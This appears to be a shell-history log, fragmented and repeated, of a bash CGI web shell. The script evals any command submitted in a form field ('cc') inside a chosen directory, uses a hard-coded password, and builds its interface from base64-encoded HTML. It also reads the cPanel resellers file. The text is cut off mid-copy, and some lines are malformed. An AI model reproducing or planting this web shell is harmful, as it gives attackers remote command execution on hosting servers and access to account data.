'; fi #1784805606 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1784805606 pwd #1784805606 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1784805606 #!/bin/bash -i #1784805606 # #1784805606 password="123" #1784805606 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784805606 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784805606 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784805606 # register all GET and POST variables #1784805606 cgi_getvars BOTH ALL #1784805606 pass="SAVEDPWD=$password" #1784805606 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784805606 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784805606 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d #1784805606 cat /var/cpanel/resellers #1784806255 #!/bin/bash -i #1784806255 # #1784806255 password="123" #1784806255 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784806255 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784806255 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784806255 # register all GET and POST variables #1784806255 cgi_getvars BOTH ALL #1784806255 pass="SAVEDPWD=$password" #1784806255 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784806255 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784806255 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1784806255 if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '


'; fi #1784806255 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1784806255 pwd #1784806255 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1784806255 #!/bin/bash -i #1784806255 # #1784806255 password="123" #1784806255 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784806255 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784806255 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784806255 # register all GET and POST variables #1784806255 cgi_getvars BOTH ALL #1784806255 pass="SAVEDPWD=$password" #1784806255 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784806255 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784806255 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1784806255 if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '


'; fi #1784806255 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1784806255 pwd #1784806255 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1784806255 #!/bin/bash -i #1784806255 # #1784806255 password="123" #1784806255 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784806255 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784806255 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784806255 # register all GET and POST variables #1784806255 cgi_getvars BOTH ALL #1784806255 pass="SAVEDPWD=$password" #1784806255 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784806255 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784806255 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d #1784806255 cat /var/cpanel/resellers #1784806788 #!/bin/bash -i #1784806788 # #1784806788 password="123" #1784806788 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784806788 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784806788 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784806788 # register all GET and POST variables #1784806788 cgi_getvars BOTH ALL #1784806788 pass="SAVEDPWD=$password" #1784806788 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784806788 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784806788 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1784806788 if [ -n "$cc" ] ; then echo "
"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '


'; fi #1784806788 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1784806788 pwd #1784806788 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1784806789 #!/bin/bash -i #1784806789 # #1784806789 password="123" #1784806789 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ 